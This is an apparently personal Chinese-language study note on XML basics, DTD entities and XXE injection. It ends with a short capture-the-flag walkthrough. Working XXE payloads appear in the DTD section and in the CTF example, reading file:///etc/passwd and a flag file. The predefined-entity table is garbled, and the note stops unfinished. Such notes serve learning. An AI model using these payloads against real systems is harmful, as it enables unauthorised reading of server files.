XML相关学习
- XXE漏洞:
xml外部实体注入漏洞,该漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发点一般是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。 - xml:
xml被设计为传输和存储数据,关注的主要是数据的内容,而html被设计用来显示数据,也就是数据的外观;xml把数据从html分离,是独立于软件和硬件的信息传输工具。
基本语法:
1、所有xml元素都必须有关闭标签;
2、xml标签对大小写敏感;
3、xml必须正确的嵌套;
4、xml文档必须有根元素;
5、xml的属性值需加引号;
6、五个预定义实体的引用:
< <
>t; >
& &
' '
" "
在xml中,字符"<“和”&"是非法的,但是对于”<"如果把它放在xml,解析器会把它当作新元素的开始,改变了原本的意义,出现了错误。
7、注释:
<!-- -->
8、在xml中,空格均会被保留,不会合成一个;
- DTD
文档类型定义,使用一系列合法的元素来定义文档的结构。DTD可被成行的声明于xml文档中,也可以作为一个外部引用。
一些用法:
属性声明:
DTD-实体:
用于定义引用普通文本或特殊字符的快捷方式的变量,可以在内部或外部进行声明
内部实体:
<!ENTITY 实体名称 "实体的值">
例:
<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY xixi "fanfan">
]>
<note>
<name>&xixi;</name>
</note>
外部实体:
<!ENTITY 实体名称 SYSTEM "URL">参数实体:
<!ENTITY %实体名称 "值"> <!ENTITY %实体名称 SYSTEM "URL">例:
<?xml version='"1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
%name 是在DTD中被引用的,而&name;
是在xml文本中被引用的;xxe漏洞主要是DTD引用外部实体导致。
例题.,题目说明是青蛇饭获得目标机器/home/ctf/flag.txt
出现一个输入框,抓包,发现json文件类型后缀,修改为xml,利用xxe漏洞
构造:
<?xml version="1.0" ?>
<!DOCTYPE xixi[
<!ENTITY file SYSTEM "file:///home/ctf/flag.txt">
]>
<xixi>&file;</xixi>
得到flag
(未完。。。)